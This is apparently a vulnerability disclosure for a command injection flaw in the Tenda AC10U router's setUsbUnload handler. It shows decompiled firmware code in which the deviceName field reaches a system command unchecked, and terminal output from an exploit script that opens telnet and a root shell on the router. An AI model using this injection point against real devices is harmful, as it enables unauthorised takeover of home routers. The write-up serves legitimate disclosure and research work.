

# Tenda AC10U Command injection RCE vulnerability

## Tested firmware

AC10U V1.0 Firmware V15.03.06.49\_multi

<https://www.tendacn.com/en/download/detail-3802.html>

## Tested hardware

<https://www.tendacn.com/product/ac10u.html>

## Description

Command injection vulnerability exists in the setUsbUnload functionality of Tenda AC10U Router AC1200 Smart Dual-Band Gigabit WiFi Router (AC10U V1.0 Firmware V15.03.06.49\_multi). The vulnerability is caused because the client-controlled deviceName value is passed directly to the doSystemCmd function.

```
Decompile: formsetUsbUnload - (httpd)

1
2 void formsetUsbUnload(websocket_t wp, char_t *path, char_t *query)
3
4 {
5     char_t *pcVar1;
6     char *usb_name;
7
8     pcVar1 = websGetVar(wp, "deviceName", "");
9     doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s", 0x33, 3, pcVar1);
10    websWrite(wp, "HTTP/1.0 200 OK\r\n\r\n");
11    websWrite(wp, "{\"errCode\":0}");
12    websDone(wp, 200);
13    return;
14 }
15
```

```
(kali@kali)-[~/iot/tenda/AC10U]
$ python3 tenda_ac10u_exploit.py
[+] Payload sent!
[+] <Response [200]>
[+] Command injection succesfull!
[+] Telnet is up!
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

~ # ls
bin          etc_ro      lib         root        tmp         webroot
dev          home       mnt        sbin        usr         webroot_ro
etc          init       proc       sys         var

~ # ifconfig
br0    Link encap:Ethernet  HWaddr 58:D9:D5:4E:62:60
       inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
       UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
       RX packets:784677 errors:0 dropped:483 overruns:0 frame:0
       TX packets:740938 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:0
       RX bytes:41601610 (39.6 MiB)  TX bytes:44818548 (42.7 MiB)
```